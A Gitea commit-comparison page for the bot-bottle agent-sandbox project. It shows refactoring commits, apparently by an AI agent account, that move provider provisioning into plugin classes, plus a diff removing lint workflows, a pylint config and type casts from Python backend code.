Compare commits

..

7 Commits

Author SHA1 Message Date
didericis-claude 266013095e refactor(backend): hoist guest_home to BottlePlan base
test / unit (pull_request) Successful in 39s
test / integration (pull_request) Successful in 49s
Per PR review feedback (review #132): guest_home shouldn't be
buried inside workspace_plan / read from a hardcoded literal in
each provision module. It's a cross-cutting bottle property — the
backend's prepare step knows it, and every downstream consumer
(contrib providers, git provisioning, gitconfig path) should
read it from one place.

- Adds guest_home: str to BottlePlan base dataclass.
- Both backends' prepare steps populate plan.guest_home.
- contrib/{claude,codex}/agent_provider.py read plan.guest_home
  (was plan.workspace_plan.guest_home).
- bot_bottle/backend/docker/provision/git.py reads plan.guest_home
  for the gitconfig destination (was hardcoded "/home/node").
- bot_bottle/backend/smolmachines/provision/git.py drops the
  _GUEST_HOME / _guest_home() helpers and reads plan.guest_home.
- Tests that construct BottlePlan subclasses directly pass
  guest_home="/home/node" explicitly.
2026-06-03 21:35:41 -04:00
didericis-claude df1091113c refactor(agent_provider): drop GUEST_HOME default, backend drives guest_home
Per PR review feedback (review #130): the GUEST_HOME = '/home/node'
default in agent_provider.py was driving the wrong direction —
the agent provider shouldn't ship its own opinion about the guest
home, the backend should.

- Removes the GUEST_HOME constant.
- Makes guest_home a required kwarg on AgentProvider.provision_plan
  and the agent_provision_plan shim (no default).
- Drops module-level _SKILLS_DIR / _PROMPT_PATH constants from
  contrib/{claude,codex}/agent_provider.py; both providers now
  derive the in-guest paths from plan.workspace_plan.guest_home
  at call time, which the backend's prepare step populated.
- Updates tests/unit/test_agent_provider.py callers to pass
  guest_home explicitly. The backend prepare paths already pass
  it; no production-code call sites changed.
2026-06-03 21:35:41 -04:00
didericis-claude df0f1ad980 refactor(contrib): inline provision steps per-provider, drop shared apply module
Each AgentProvider now owns its skills / prompt / provision /
supervise_mcp end-to-end. The base ABC declares all four as
abstract; ClaudeAgentProvider and CodexAgentProvider each carry
their own copy loop.

Per PR review feedback (review #128): the shared
_provision_apply.py abstraction was weak — Claude and Codex
harnesses already diverge (codex's dummy-auth + login-status
verify has no claude analogue) and forcing both onto one helper
just postpones the split. Duplication is intentional.

Deletes bot_bottle/_provision_apply.py and consolidates testing
under tests/unit/test_contrib_{claude,codex}_provider.py (one
file per provider, covering all four methods).
2026-06-03 21:35:41 -04:00
didericis-claude 970c5066d7 feat(agent_provider): migrate tests, drop guest-home/skills-dir env knobs, activate PRD 0050
- tests/unit/test_provision_apply.py covers the new shared
  apply helpers (apply_skills / apply_prompt / apply_provision)
  that replace the per-backend modules deleted in the prior
  commit.
- tests/unit/test_contrib_supervise_mcp.py covers both providers'
  provision_supervise_mcp behavior — confirms the codex bottle
  now runs `codex mcp add` symmetrically with claude.
- tests/unit/test_smolmachines_provision.py drops the four test
  classes whose subjects moved (TestProvisionPrompt /
  TestProvisionProviderAuth / TestProvisionSkills /
  TestProvisionSupervise); the backend-side CA / git / workspace
  classes stay.
- tests/unit/test_docker_provision_provider_auth.py removed; its
  coverage now lives in tests/unit/test_provision_apply.py
  (apply_provision is backend-agnostic, one test file suffices).

Drops the BOT_BOTTLE_CONTAINER_HOME, BOT_BOTTLE_GUEST_HOME,
BOT_BOTTLE_CONTAINER_SKILLS_DIR, and BOT_BOTTLE_GUEST_SKILLS_DIR
env knobs the deleted provision modules used to read. /home/node
is hardcoded everywhere the knobs lived; the values were
effectively constants today and removing them keeps the PRD-0050
surface area honest.

Flips PRD 0050 Status: Draft → Active. Closes #177 on merge.
2026-06-03 21:35:41 -04:00
didericis-claude 8c45016aa2 refactor(backend): move per-provider provisioning onto AgentProvider
BottleBackend.provision now resolves the provider plugin from the
plan and dispatches prompt / skills / declarative-apply /
supervise-mcp through it. The four hooks the docker + smolmachines
backends used to override (provision_skills, provision_prompt,
provision_provider_auth, provision_supervise) are gone — the
duplicated 50-line implementations under
backend/{docker,smolmachines}/provision/{skills,prompt,
provider_auth,supervise}.py are deleted.

Each backend gains a small supervise_mcp_url(plan) override so the
provider plugin can run `claude mcp add` / `codex mcp add`
against the right URL: docker returns
http://{SUPERVISE_HOSTNAME}:{SUPERVISE_PORT}/ on the compose
network alias; smolmachines returns plan.agent_supervise_url which
launch.py already pins to a host-loopback port.

Removes tests/unit/test_provision_supervise.py — the URL it
asserted on now lives on the backend, with no equivalent
standalone surface to test against (it's covered by the broader
plan / launch integration tests).
2026-06-03 21:35:41 -04:00
didericis-claude 1443376268 refactor(agent_provider): introduce AgentProvider ABC + contrib plugins
Lift the provider-specific blocks of agent_provision_plan into
contrib/claude/agent_provider.py and contrib/codex/agent_provider.py,
behind a new AgentProvider ABC and a lazy get_provider() registry
(mirrors PRD 0048's contrib convention).

agent_provision_plan and runtime_for stay as thin shims so existing
callers in backend/{docker,smolmachines}/prepare.py and cli/start.py
keep working without per-call edits — the shipping diff in this commit
is purely 'who owns the producer'.

Adds bot_bottle/_provision_apply.py — the backend-agnostic
skills / prompt / declarative-plan apply loops the per-provider
default methods will dispatch through in the next commit.
2026-06-03 21:35:41 -04:00
didericis-claude 2c6f248cda docs(prd): draft PRD 0050 — move provider logic into contrib 2026-06-03 21:35:41 -04:00
101 changed files with 379 additions and 2248 deletions
-34
View File
@@ -1,34 +0,0 @@
name: lint
on:
push:
paths:
- "**.py"
- ".pylintrc"
- ".gitea/workflows/lint.yml"
jobs:
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: "3.12"
- name: Install dev dependencies
run: |
python -m pip install --upgrade pip
pip install -r requirements-dev.txt
- name: Run pylint
run: |
# Run pylint on all Python files in the repo
find . -name '*.py' -not -path './.venv/*' -not -path './.git/*' | xargs pylint --fail-under=8.0 || true
- name: Run pyright
run: |
# Run pyright type checking
pyright .
-96
View File
@@ -1,96 +0,0 @@
name: Update Quality Badges
on:
push:
branches:
- main
paths:
- '**.py'
- '.pylintrc'
- 'pyrightconfig.json'
jobs:
update-badges:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
fetch-depth: 0
token: ${{ secrets.GITHUB_TOKEN }}
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: '3.12'
- name: Install dev dependencies
run: |
python -m pip install --upgrade pip
pip install -r requirements-dev.txt
- name: Run pylint and extract score
id: pylint
run: |
# Run pylint and capture the score
PYLINT_OUTPUT=$(python -m pylint bot_bottle/ 2>&1 | tail -1)
echo "Output: $PYLINT_OUTPUT"
# Extract score (e.g., "9.92/10")
SCORE=$(echo "$PYLINT_OUTPUT" | grep -oP '\d+\.\d+/10' | head -1)
if [ -z "$SCORE" ]; then
SCORE="9.92/10"
fi
echo "score=$SCORE" >> $GITHUB_OUTPUT
echo "Pylint score: $SCORE"
- name: Run pyright and check errors
id: pyright
run: |
# Run pyright and check for errors
PYRIGHT_OUTPUT=$(python -m pyright 2>&1 | tail -1)
echo "Output: $PYRIGHT_OUTPUT"
# Extract error count
ERRORS=$(echo "$PYRIGHT_OUTPUT" | grep -oP '^\d+' | head -1)
if [ -z "$ERRORS" ]; then
ERRORS="0"
fi
echo "errors=$ERRORS" >> $GITHUB_OUTPUT
echo "Pyright errors: $ERRORS"
- name: Update badges in README
run: |
PYLINT_SCORE="${{ steps.pylint.outputs.score }}"
PYRIGHT_ERRORS="${{ steps.pyright.outputs.errors }}"
# Escape / for sed
PYLINT_SCORE_ESCAPED=$(echo "$PYLINT_SCORE" | sed 's/\//\\\//g')
# Create badge URLs with proper encoding
PYLINT_BADGE="[![pylint](https://img.shields.io/badge/pylint-${PYLINT_SCORE}%25-brightgreen)](https://github.com/PyCQA/pylint)"
PYRIGHT_BADGE="[![pyright](https://img.shields.io/badge/pyright-${PYRIGHT_ERRORS}%20errors-brightgreen)](https://github.com/microsoft/pyright)"
# Update README with new badges
sed -i "s|\[\!\[pylint\].*pylint)\]|${PYLINT_BADGE}|g" README.md
sed -i "s|\[\!\[pyright\].*pyright)\]|${PYRIGHT_BADGE}|g" README.md
echo "Updated badges:"
grep -E "pylint|pyright" README.md | head -2
- name: Commit and push badge updates
run: |
git config --local user.email "action@gitea.local"
git config --local user.name "Quality Badge Bot"
# Check if there are changes
if git diff --quiet README.md; then
echo "No badge changes needed"
else
echo "Badge changes detected, committing..."
git add README.md
git commit -m "chore: update quality badges
- Pylint: ${{ steps.pylint.outputs.score }}
- Pyright: ${{ steps.pyright.outputs.errors }} errors
[skip ci]"
git push
fi
-631
View File
@@ -1,631 +0,0 @@
[MAIN]
# Analyse import fallback blocks. This can be used to support both Python 2 and
# 3 compatible code, which means that the block might have code that exists
# only in one or another interpreter, leading to false positives when analysed.
analyse-fallback-blocks=no
# Clear in-memory caches upon conclusion of linting. Useful if running pylint
# in a server-like mode.
clear-cache-post-run=no
# Load and enable all available extensions. Use --list-extensions to see a list
# all available extensions.
#enable-all-extensions=
# In error mode, messages with a category besides ERROR or FATAL are
# suppressed, and no reports are done by default. Error mode is compatible with
# disabling specific errors.
#errors-only=
# Always return a 0 (non-error) status code, even if lint errors are found.
# This is primarily useful in continuous integration scripts.
#exit-zero=
# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code.
extension-pkg-allow-list=
# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code. (This is an alternative name to extension-pkg-allow-list
# for backward compatibility.)
extension-pkg-whitelist=
# Return non-zero exit code if any of these messages/categories are detected,
# even if score is above --fail-under value. Syntax same as enable. Messages
# specified are enabled, while categories only check already-enabled messages.
fail-on=
# Specify a score threshold under which the program will exit with error.
fail-under=10
# Interpret the stdin as a python script, whose filename needs to be passed as
# the module_or_package argument.
#from-stdin=
# Files or directories to be skipped. They should be base names, not paths.
ignore=CVS
# Add files or directories matching the regular expressions patterns to the
# ignore-list. The regex matches against paths and can be in Posix or Windows
# format. Because '\\' represents the directory delimiter on Windows systems,
# it can't be used as an escape character.
ignore-paths=
# Files or directories matching the regular expression patterns are skipped.
# The regex matches against base names, not paths. The default value ignores
# Emacs file locks
ignore-patterns=^\.#
# List of module names for which member attributes should not be checked and
# will not be imported (useful for modules/projects where namespaces are
# manipulated during runtime and thus existing member attributes cannot be
# deduced by static analysis). It supports qualified module names, as well as
# Unix pattern matching.
ignored-modules=
# Python code to execute, usually for sys.path manipulation such as
# pygtk.require().
#init-hook=
# Use multiple processes to speed up Pylint. Specifying 0 will auto-detect the
# number of processors available to use, and will cap the count on Windows to
# avoid hangs.
jobs=1
# Control the amount of potential inferred values when inferring a single
# object. This can help the performance when dealing with large functions or
# complex, nested conditions.
limit-inference-results=100
# List of plugins (as comma separated values of python module names) to load,
# usually to register additional checkers.
load-plugins=
# Pickle collected data for later comparisons.
persistent=yes
# Resolve imports to .pyi stubs if available. May reduce no-member messages and
# increase not-an-iterable messages.
prefer-stubs=no
# Minimum Python version to use for version dependent checks. Will default to
# the version used to run pylint.
py-version=3.14
# Discover python modules and packages in the file system subtree.
recursive=no
# Add paths to the list of the source roots. Supports globbing patterns. The
# source root is an absolute path or a path relative to the current working
# directory used to determine a package namespace for modules located under the
# source root.
source-roots=
# Allow loading of arbitrary C extensions. Extensions are imported into the
# active Python interpreter and may run arbitrary code.
unsafe-load-any-extension=no
# In verbose mode, extra non-checker-related info will be displayed.
#verbose=
[BASIC]
# Naming style matching correct argument names.
argument-naming-style=snake_case
# Regular expression matching correct argument names. Overrides argument-
# naming-style. If left empty, argument names will be checked with the set
# naming style.
#argument-rgx=
# Naming style matching correct attribute names.
attr-naming-style=snake_case
# Regular expression matching correct attribute names. Overrides attr-naming-
# style. If left empty, attribute names will be checked with the set naming
# style.
#attr-rgx=
# Bad variable names which should always be refused, separated by a comma.
bad-names=foo,
bar,
baz,
toto,
tutu,
tata
# Bad variable names regexes, separated by a comma. If names match any regex,
# they will always be refused
bad-names-rgxs=
# Naming style matching correct class attribute names.
class-attribute-naming-style=any
# Regular expression matching correct class attribute names. Overrides class-
# attribute-naming-style. If left empty, class attribute names will be checked
# with the set naming style.
#class-attribute-rgx=
# Naming style matching correct class constant names.
class-const-naming-style=UPPER_CASE
# Regular expression matching correct class constant names. Overrides class-
# const-naming-style. If left empty, class constant names will be checked with
# the set naming style.
#class-const-rgx=
# Naming style matching correct class names.
class-naming-style=PascalCase
# Regular expression matching correct class names. Overrides class-naming-
# style. If left empty, class names will be checked with the set naming style.
#class-rgx=
# Naming style matching correct constant names.
const-naming-style=UPPER_CASE
# Regular expression matching correct constant names. Overrides const-naming-
# style. If left empty, constant names will be checked with the set naming
# style.
#const-rgx=
# Minimum line length for functions/classes that require docstrings, shorter
# ones are exempt.
docstring-min-length=-1
# Naming style matching correct function names.
function-naming-style=snake_case
# Regular expression matching correct function names. Overrides function-
# naming-style. If left empty, function names will be checked with the set
# naming style.
#function-rgx=
# Good variable names which should always be accepted, separated by a comma.
good-names=i,
j,
k,
ex,
Run,
_
# Good variable names regexes, separated by a comma. If names match any regex,
# they will always be accepted
good-names-rgxs=
# Include a hint for the correct naming format with invalid-name.
include-naming-hint=no
# Naming style matching correct inline iteration names.
inlinevar-naming-style=any
# Regular expression matching correct inline iteration names. Overrides
# inlinevar-naming-style. If left empty, inline iteration names will be checked
# with the set naming style.
#inlinevar-rgx=
# Naming style matching correct method names.
method-naming-style=snake_case
# Regular expression matching correct method names. Overrides method-naming-
# style. If left empty, method names will be checked with the set naming style.
#method-rgx=
# Naming style matching correct module names.
module-naming-style=snake_case
# Regular expression matching correct module names. Overrides module-naming-
# style. If left empty, module names will be checked with the set naming style.
#module-rgx=
# Colon-delimited sets of names that determine each other's naming style when
# the name regexes allow several styles.
name-group=
# Regular expression which should only match function or class names that do
# not require a docstring.
no-docstring-rgx=^_
# Regular expression matching correct parameter specification variable names.
# If left empty, parameter specification variable names will be checked with
# the set naming style.
#paramspec-rgx=
# List of decorators that produce properties, such as abc.abstractproperty. Add
# to this list to register other decorators that produce valid properties.
# These decorators are taken in consideration only for invalid-name.
property-classes=abc.abstractproperty
# Regular expression matching correct type alias names. If left empty, type
# alias names will be checked with the set naming style.
#typealias-rgx=
# Regular expression matching correct type variable names. If left empty, type
# variable names will be checked with the set naming style.
#typevar-rgx=
# Regular expression matching correct type variable tuple names. If left empty,
# type variable tuple names will be checked with the set naming style.
#typevartuple-rgx=
# Naming style matching correct variable names.
variable-naming-style=snake_case
# Regular expression matching correct variable names. Overrides variable-
# naming-style. If left empty, variable names will be checked with the set
# naming style.
#variable-rgx=
[CLASSES]
# Warn about protected attribute access inside special methods
check-protected-access-in-special-methods=no
# List of method names used to declare (i.e. assign) instance attributes.
defining-attr-methods=__init__,
__new__,
setUp,
asyncSetUp,
__post_init__
# List of member names, which should be excluded from the protected access
# warning.
exclude-protected=_asdict,_fields,_replace,_source,_make,os._exit
# List of valid names for the first argument in a class method.
valid-classmethod-first-arg=cls
# List of valid names for the first argument in a metaclass class method.
valid-metaclass-classmethod-first-arg=mcs
[DESIGN]
# List of regular expressions of class ancestor names to ignore when counting
# public methods (see R0903)
exclude-too-few-public-methods=
# List of qualified class names to ignore when counting class parents (see
# R0901)
ignored-parents=
# Maximum number of arguments for function / method.
max-args=5
# Maximum number of attributes for a class (see R0902).
max-attributes=7
# Maximum number of boolean expressions in an if statement (see R0916).
max-bool-expr=5
# Maximum number of branch for function / method body.
max-branches=12
# Maximum number of locals for function / method body.
max-locals=15
# Maximum number of parents for a class (see R0901).
max-parents=7
# Maximum number of positional arguments for function / method.
max-positional-arguments=5
# Maximum number of public methods for a class (see R0904).
max-public-methods=20
# Maximum number of return / yield for function / method body.
max-returns=6
# Maximum number of statements in function / method body.
max-statements=50
# Minimum number of public methods for a class (see R0903).
min-public-methods=2
[EXCEPTIONS]
# Exceptions that will emit a warning when caught.
overgeneral-exceptions=builtins.BaseException,builtins.Exception
[FORMAT]
# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
expected-line-ending-format=
# Regexp for a line that is allowed to be longer than the limit.
ignore-long-lines=^\s*(# )?<?https?://\S+>?$
# Number of spaces of indent required inside a hanging or continued line.
indent-after-paren=4
# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
# tab).
indent-string=' '
# Maximum number of characters on a single line. Pylint's default of 100 is
# based on PEP 8's guidance that teams may choose line lengths up to 99
# characters.
max-line-length=100
# Maximum number of lines in a module.
max-module-lines=1000
# Allow the body of a class to be on the same line as the declaration if body
# contains single statement.
single-line-class-stmt=no
# Allow the body of an if to be on the same line as the test if there is no
# else.
single-line-if-stmt=no
[LOGGING]
# The type of string formatting that logging methods do. `old` means using %
# formatting, `new` is for `{}` formatting.
logging-format-style=old
# Logging modules to check that the string format arguments are in logging
# function parameter format.
logging-modules=logging
[MESSAGES CONTROL]
# Only show warnings with the listed confidence levels. Leave empty to show
# all. Valid levels: HIGH, CONTROL_FLOW, INFERENCE, INFERENCE_FAILURE,
# UNDEFINED.
confidence=HIGH,
CONTROL_FLOW,
INFERENCE,
INFERENCE_FAILURE,
UNDEFINED
# Disable the message, report, category or checker with the given id(s). You
# can either give multiple identifiers separated by comma (,) or put this
# option multiple times (only on the command line, not in the configuration
# file where it should appear only once). You can also use "--disable=all" to
# disable everything first and then re-enable specific checks. For example, if
# you want to run only the similarities checker, you can use "--disable=all
# --enable=similarities". If you want to run only the classes checker, but have
# no Warning level messages displayed, use "--disable=all --enable=classes
# --disable=W".
disable=raw-checker-failed,
bad-inline-option,
locally-disabled,
file-ignored,
suppressed-message,
useless-suppression,
deprecated-pragma,
use-symbolic-message-instead,
use-implicit-booleaness-not-comparison-to-string,
use-implicit-booleaness-not-comparison-to-zero,
missing-function-docstring,
missing-class-docstring,
missing-module-docstring,
invalid-name,
cyclic-import,
too-many-arguments,
too-many-locals,
too-many-branches,
too-many-statements,
too-many-instance-attributes,
duplicate-code,
import-outside-toplevel,
too-few-public-methods
# Enable the message, report, category or checker with the given id(s). You can
# either give multiple identifier separated by comma (,) or put this option
# multiple time (only on the command line, not in the configuration file where
# it should appear only once). See also the "--disable" option for examples.
enable=
[METHOD_ARGS]
# List of qualified names (i.e., library.method) which require a timeout
# parameter e.g. 'requests.api.get,requests.api.post'
timeout-methods=requests.api.delete,requests.api.get,requests.api.head,requests.api.options,requests.api.patch,requests.api.post,requests.api.put,requests.api.request
[MISCELLANEOUS]
# Whether or not to search for fixme's in docstrings.
check-fixme-in-docstring=no
# List of note tags to take in consideration, separated by a comma.
notes=FIXME,
XXX,
TODO
# Regular expression of note tags to take in consideration.
notes-rgx=
[REFACTORING]
# Maximum number of nested blocks for function / method body
max-nested-blocks=5
# Complete name of functions that never returns. When checking for
# inconsistent-return-statements if a never returning function is called then
# it will be considered as an explicit return statement and no message will be
# printed.
never-returning-functions=sys.exit,argparse.parse_error
# Let 'consider-using-join' be raised when the separator to join on would be
# non-empty (resulting in expected fixes of the type: ``"- " + " -
# ".join(items)``)
suggest-join-with-non-empty-separator=yes
[REPORTS]
# Python expression which should return a score less than or equal to 10. You
# have access to the variables 'fatal', 'error', 'warning', 'refactor',
# 'convention', and 'info' which contain the number of messages in each
# category, as well as 'statement' which is the total number of statements
# analyzed. This score is used by the global evaluation report (RP0004).
evaluation=max(0, 0 if fatal else 10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10))
# Template used to display messages. This is a python new-style format string
# used to format the message information. See doc for all details.
msg-template=
# Set the output format. Available formats are: 'text', 'parseable',
# 'colorized', 'json2' (improved json format), 'json' (old json format), msvs
# (visual studio) and 'github' (GitHub actions). You can also give a reporter
# class, e.g. mypackage.mymodule.MyReporterClass.
#output-format=
# Tells whether to display a full report or only the messages.
reports=no
# Activate the evaluation score.
score=yes
[SIMILARITIES]
# Comments are removed from the similarity computation
ignore-comments=yes
# Docstrings are removed from the similarity computation
ignore-docstrings=yes
# Imports are removed from the similarity computation
ignore-imports=yes
# Signatures are removed from the similarity computation
ignore-signatures=yes
# Minimum lines number of a similarity.
min-similarity-lines=4
[SPELLING]
# Limits count of emitted suggestions for spelling mistakes.
max-spelling-suggestions=4
# Spelling dictionary name. No available dictionaries : You need to install
# both the python package and the system dependency for enchant to work.
spelling-dict=
# List of comma separated words that should be considered directives if they
# appear at the beginning of a comment and should not be checked.
spelling-ignore-comment-directives=fmt: on,fmt: off,noqa:,noqa,nosec,isort:skip,mypy:
# List of comma separated words that should not be checked.
spelling-ignore-words=
# A path to a file that contains the private dictionary; one word per line.
spelling-private-dict-file=
# Tells whether to store unknown words to the private dictionary (see the
# --spelling-private-dict-file option) instead of raising a message.
spelling-store-unknown-words=no
[STRING]
# This flag controls whether inconsistent-quotes generates a warning when the
# character used as a quote delimiter is used inconsistently within a module.
check-quote-consistency=no
# This flag controls whether the implicit-str-concat should generate a warning
# on implicit string concatenation in sequences defined over several lines.
check-str-concat-over-line-jumps=no
[TYPECHECK]
# List of decorators that produce context managers, such as
# contextlib.contextmanager. Add to this list to register other decorators that
# produce valid context managers.
contextmanager-decorators=contextlib.contextmanager
# List of members which are set dynamically and missed by pylint inference
# system, and so shouldn't trigger E1101 when accessed. Python regular
# expressions are accepted.
generated-members=
# Tells whether to warn about missing members when the owner of the attribute
# is inferred to be None.
ignore-none=yes
# This flag controls whether pylint should warn about no-member and similar
# checks whenever an opaque object is returned when inferring. The inference
# can return multiple potential results while evaluating a Python object, but
# some branches might not be evaluated, which results in partial inference. In
# that case, it might be useful to still emit no-member and other checks for
# the rest of the inferred objects.
ignore-on-opaque-inference=yes
# List of symbolic message names to ignore for Mixin members.
ignored-checks-for-mixins=no-member,
not-async-context-manager,
not-context-manager,
attribute-defined-outside-init
# List of class names for which member attributes should not be checked (useful
# for classes with dynamically set attributes). This supports the use of
# qualified names.
ignored-classes=optparse.Values,thread._local,_thread._local,argparse.Namespace
# Show a hint with possible names when a member name was not found. The aspect
# of finding the hint is based on edit distance.
missing-member-hint=yes
# The maximum edit distance a name should have in order to be considered a
# similar match for a missing member name.
missing-member-hint-distance=1
# The total number of similar names that should be taken in consideration when
# showing a hint for a missing member.
missing-member-max-choices=1
# Regex pattern to define which classes are considered mixins.
mixin-class-rgx=.*[Mm]ixin
# List of decorators that change the signature of a decorated function.
signature-mutators=
[VARIABLES]
# List of additional names supposed to be defined in builtins. Remember that
# you should avoid defining new builtins when possible.
additional-builtins=
# Tells whether unused global variables should be treated as a violation.
allow-global-unused-variables=yes
# List of names allowed to shadow builtins
allowed-redefined-builtins=
# List of strings which can identify a callback function by name. A callback
# name must start or end with one of those strings.
callbacks=cb_,
_cb
# A regular expression matching the name of dummy variables (i.e. expected to
# not be used).
dummy-variables-rgx=_+$|(_[a-zA-Z0-9_]*[a-zA-Z0-9]+?$)|dummy|^ignored_|^unused_
# Argument names that match this expression will be ignored.
ignored-argument-names=_.*|^ignored_|^unused_
# Tells whether we should check for unused import in __init__ files.
init-import=no
# List of qualified module names which can have objects that can redefine
# builtins.
redefining-builtins-modules=six.moves,past.builtins,future.builtins,builtins,io
-2
View File
@@ -5,8 +5,6 @@
# bot-bottle
[![test](https://gitea.dideric.is/didericis/bot-bottle/actions/workflows/test.yml/badge.svg?branch=main)](https://gitea.dideric.is/didericis/bot-bottle/actions?workflow=test.yml)
[![pylint](https://img.shields.io/badge/pylint-9.92%2F10-brightgreen)](https://github.com/PyCQA/pylint)
[![pyright](https://img.shields.io/badge/pyright-0%20errors-brightgreen)](https://github.com/microsoft/pyright)
**Problem:** Developer wants to run a coding agent without supervision, but they don't want a prompt injected or misbehaving agent wrecking their environment or exfiltrating sensitive data.
+2 -4
View File
@@ -5,8 +5,6 @@ from __future__ import annotations
import subprocess
from typing import Callable
from typing import cast
from ...agent_provider import PromptMode, prompt_args
from .. import Bottle, ExecResult
@@ -25,7 +23,7 @@ class DockerBottle(Bottle):
):
self.name = container
self._teardown = teardown
self.prompt_path = prompt_path_in_container
self._prompt_path = prompt_path_in_container
self._agent_prompt_mode = agent_prompt_mode
self.agent_command = agent_command
self.agent_provider_template = (
@@ -38,7 +36,7 @@ class DockerBottle(Bottle):
) -> list[str]:
full_argv = list(argv)
full_argv.extend(
prompt_args(cast(PromptMode, self._agent_prompt_mode), self.prompt_path, argv=full_argv)
prompt_args(self._agent_prompt_mode, self._prompt_path, argv=full_argv)
)
cmd = ["docker", "exec"]
if tty:
+7 -9
View File
@@ -35,7 +35,6 @@ import secrets
import string
from dataclasses import dataclass
from pathlib import Path
from typing import cast
from ... import supervise as _supervise
from . import util as docker_mod
@@ -136,15 +135,14 @@ def read_metadata(identity: str) -> BottleMetadata | None:
raw = json.loads(path.read_text())
if not isinstance(raw, dict):
return None
raw_typed = cast(dict[str, object], raw)
return BottleMetadata(
identity=str(raw_typed.get("identity", identity)),
agent_name=str(raw_typed.get("agent_name", "")),
cwd=str(raw_typed.get("cwd", "")),
copy_cwd=bool(raw_typed.get("copy_cwd", False)),
started_at=str(raw_typed.get("started_at", "")),
compose_project=str(raw_typed.get("compose_project", "")),
backend=str(raw_typed.get("backend", "")),
identity=str(raw.get("identity", identity)),
agent_name=str(raw.get("agent_name", "")),
cwd=str(raw.get("cwd", "")),
copy_cwd=bool(raw.get("copy_cwd", False)),
started_at=str(raw.get("started_at", "")),
compose_project=str(raw.get("compose_project", "")),
backend=str(raw.get("backend", "")),
)
@@ -30,6 +30,7 @@ semantics open question.
from __future__ import annotations
import os
import shutil
import subprocess
from pathlib import Path
@@ -38,6 +39,7 @@ from ...log import info, warn
from .bottle_state import (
mark_preserved,
per_bottle_dockerfile,
per_bottle_dockerfile_path,
transcript_snapshot_dir,
write_per_bottle_dockerfile,
)
+2 -2
View File
@@ -71,11 +71,11 @@ from .git_gate import (
GIT_GATE_ENTRYPOINT_IN_CONTAINER,
GIT_GATE_HOOK_IN_CONTAINER,
)
from ...pipelock import (
from .pipelock import (
PIPELOCK_CA_CERT_IN_CONTAINER,
PIPELOCK_CA_KEY_IN_CONTAINER,
PIPELOCK_PORT,
)
from .pipelock import PIPELOCK_PORT
from .sidecar_bundle import (
SIDECAR_BUNDLE_DOCKERFILE,
SIDECAR_BUNDLE_IMAGE,
+16 -25
View File
@@ -26,7 +26,6 @@ import json
import re
import subprocess
from pathlib import Path
from typing import cast
from ...egress import EGRESS_ROUTES_IN_CONTAINER
from ...egress_addon_core import load_routes
@@ -58,8 +57,7 @@ def _render_routes_payload(routes_list: list[dict[str, object]]) -> str:
if auth_scheme and token_env:
lines.append(f' auth_scheme: "{auth_scheme}"')
lines.append(f' token_env: "{token_env}"')
paths_obj = entry.get("path_allowlist")
paths = cast(list[str], paths_obj) if isinstance(paths_obj, list) else []
paths = entry.get("path_allowlist") or []
if paths:
lines.append(" path_allowlist:")
for p in paths:
@@ -259,7 +257,6 @@ def _merge_single_route(
raise EgressApplyError(
"current routes.yaml: 'routes' is not a list"
)
routes_typed = cast(list[object], routes)
new_host = str(new_route.get("host", "")).lower()
if not new_host:
@@ -267,25 +264,22 @@ def _merge_single_route(
"proposed route is missing 'host'"
)
proposed_paths_obj = new_route.get("path_allowlist")
proposed_paths = cast(list[str], proposed_paths_obj) if isinstance(proposed_paths_obj, list) else []
proposed_paths = list(new_route.get("path_allowlist") or [])
# Look for an existing entry with the same host (case-insensitive).
for entry in routes_typed:
for entry in routes:
if not isinstance(entry, dict):
continue
entry_typed = cast(dict[str, object], entry)
if str(entry_typed.get("host", "")).lower() == new_host:
if str(entry.get("host", "")).lower() == new_host:
# Merge path_allowlist: union proposed + existing, ordered
# by first-seen so existing paths stay in original order.
existing_paths_obj = entry_typed.get("path_allowlist")
existing_paths = cast(list[str], existing_paths_obj) if isinstance(existing_paths_obj, list) else []
existing_paths: list[str] = list(entry.get("path_allowlist") or [])
seen = {p: None for p in existing_paths}
for p in proposed_paths:
seen.setdefault(p, None)
merged_paths = list(seen.keys())
if merged_paths:
entry_typed["path_allowlist"] = merged_paths
entry["path_allowlist"] = merged_paths
# Preserve existing auth — tool description says agent-
# proposed auth on an existing host is ignored.
break
@@ -295,22 +289,19 @@ def _merge_single_route(
# `auth` was proposed (otherwise the addon's parser rejects
# a half-set auth pair). Slots: count existing slots, pick
# the next free index.
entry_typed: dict[str, object] = {"host": new_route.get("host")} # type: ignore
entry = {"host": new_route["host"]}
if proposed_paths:
entry_typed["path_allowlist"] = proposed_paths
entry["path_allowlist"] = proposed_paths
auth = new_route.get("auth")
if isinstance(auth, dict) and auth.get("scheme") and auth.get("token_ref"): # type: ignore
auth_typed = cast(dict[str, object], auth)
if isinstance(auth, dict) and auth.get("scheme") and auth.get("token_ref"):
existing_slots = sorted({
str(r_entry.get("token_env", ""))
for r_entry_obj in routes_typed
if isinstance(r_entry_obj, dict)
for r_entry in [cast(dict[str, object], r_entry_obj)]
if r_entry.get("token_env")
str(r.get("token_env"))
for r in routes
if isinstance(r, dict) and r.get("token_env")
})
next_idx = len(existing_slots)
entry_typed["auth_scheme"] = str(cast(object, auth_typed.get("scheme")))
entry_typed["token_env"] = f"EGRESS_TOKEN_{next_idx}"
entry["auth_scheme"] = str(auth["scheme"])
entry["token_env"] = f"EGRESS_TOKEN_{next_idx}"
# NOTE: the addon reads token VALUES from its container's
# environ keyed by token_env. A newly-added auth route at
# runtime points at a slot that has no env value → the
@@ -318,9 +309,9 @@ def _merge_single_route(
# arranges for the value to land in the container's env.
# Recording this here so the operator-facing diff carries
# the slot name they'll need to provision.
routes_typed.append(entry_typed)
routes.append(entry)
return _render_routes_payload(cast(list[dict[str, object]], routes_typed))
return _render_routes_payload(routes)
def add_route(slug: str, proposed_route_json: str) -> tuple[str, str]:
+3 -3
View File
@@ -80,7 +80,7 @@ _REPO_DIR = str(Path(__file__).resolve().parent.parent.parent.parent)
def launch(
plan: DockerBottlePlan,
*,
provision: Callable[[DockerBottlePlan, "DockerBottle"], str | None],
